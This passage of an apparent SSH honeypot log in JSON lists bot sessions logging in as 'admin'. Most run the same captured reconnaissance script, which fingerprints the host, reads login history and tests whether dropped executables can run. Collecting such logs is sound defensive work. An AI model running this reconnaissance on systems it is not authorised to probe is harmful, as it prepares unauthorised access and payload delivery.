  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:48:33.612926+00:00",
  "ended_at": "2026-08-21T10:48:33.714194+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "1110c24e-06a0-4a3e-81e7-3838683418f6",
  "name": "cunning-hazy-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 47292,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:47:07.701101+00:00",
  "ended_at": "2026-08-21T10:47:08.079221+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6e179718-d5b4-42c0-bcc9-9a7e03f511e7",
  "name": "smooth-lofty-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 44304,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:45:38.860415+00:00",
  "ended_at": "2026-08-21T10:45:38.960475+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0c21634d-9f12-4769-9ea6-c6b8dc2bb385",
  "name": "vernal-electric-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 41320,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:44:09.760232+00:00",
  "ended_at": "2026-08-21T10:44:09.858478+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "78b1bd94-b164-4455-9e75-37c84b71e170",
  "name": "coastal-restless-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 58008,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T10:44:00.240568+00:00",
  "ended_at": "2026-08-21T10:44:00.678252+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9268c57b-adf9-4e35-b803-1f3d31ab5e53",
  "name": "opal-distant-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 38372,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:42:41.470264+00:00",
  "ended_at": "2026-08-21T10:42:41.616381+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "70607de5-c469-4fee-8203-921941b6eb99",
  "name": "electric-velvet-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 35386,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:41:10.929035+00:00",
  "ended_at": "2026-08-21T10:41:11.166554+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e20e718e-8a8e-4dee-9a19-8d5f5bdfa034",
  "name": "cosmic-proud-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 60642,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 